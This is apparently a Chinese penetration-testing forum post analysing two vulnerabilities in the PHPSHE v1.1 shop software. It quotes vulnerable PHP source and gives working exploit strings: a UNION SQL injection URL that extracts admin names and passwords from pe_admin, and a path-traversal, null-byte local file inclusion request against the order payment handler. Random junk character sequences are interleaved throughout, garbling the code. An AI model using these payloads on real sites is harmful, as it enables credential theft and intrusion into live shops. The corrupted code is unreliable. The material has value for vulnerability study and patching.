( c5 B5 O, G: b/ T) Y* q3 w" \
* `; K; _9 r$ S
0×02 搜索注入% d1 p& S" A3 d. A" M0 Y
' u$ z- q8 i3 n6 q; I/ ?
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);* J3 P5 H9 ]' a- M8 @5 v( h7 d
$info = $db->pe_select('category', array('category_id'=>$category_id)); E4 w: S' X0 V
//搜索# k, b4 b! D: D$ j! p& G
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";- F K4 J$ w; s
}' d, _+ n+ M. g9 V4 m
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤/ b) s# f* ]2 L. H2 M
if ($_g_orderby) {, T) Q0 f$ |7 O. a" Q
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {5 j0 E u" p" y* b1 j! ~
$sqlwhere .= " order by `product_id` desc";( r/ g2 d( x/ A" y
}& l0 K3 |8 j5 I
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));! l5 A5 I! V$ f
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);% r, x) }8 O6 {7 {, D* E m
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句$ s' A' f2 j& T5 }
$sqlwhere = $this->_dowhere($where);' \: H. M5 o. L1 g) ^
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}7 o4 ^% @3 m' U
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>
0×03 包含漏洞2! f: Z( @5 a. |- i% D" |
<code id="code3">
//order.php
case 'pay':
' V1 d# h( @, z& @
$order_id = pe_dbhold($_g_id);
4 b) f/ r& S; j" f F" m- A
$cache_payway = cache::get('payway');
* B2 ^% Q9 d0 m8 T1 Q
foreach($cache_payway as $k => $v) {
3 q. g2 o9 L' u
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
: d$ e5 s8 y- K
}
- K5 H( ~) W' t- Y5 w2 Q
}
8 \5 U6 X' R6 p W
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
+ m% j7 E7 T$ z
if (isset($_p_pesubmit)) {
" W6 P: L* ^9 E$ @( F
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
2 H/ ?5 \# y) _2 S- ?# h
$order['order_name'] .= "{$v['product_name']};";: {9 Q6 @% C& e! M: k+ o
+ K; f' {2 Z8 p& P* g
}
echo '正在为您连接支付网站,请稍后...';
& z) i1 [ u+ p: \* D& _2 r+ Y4 s4 i
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
" K1 b$ p8 W% N( L) i0 @/ _
}//当一切准备好的时候就可以进行"鸡肋包含了"
m4 S! I* i2 {
else {
pe_error('支付错误...');
& Q2 r0 V; @. T
}
: ?. x* y1 C$ h% w* b+ d# v0 N8 F
}
$seo = pe_seo('选择支付方式');
0 e! S# @. k) L% F- T$ S# n L
include(pe_tpl('order_pay.html'));
2 {- C1 b3 `! @. @% @
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |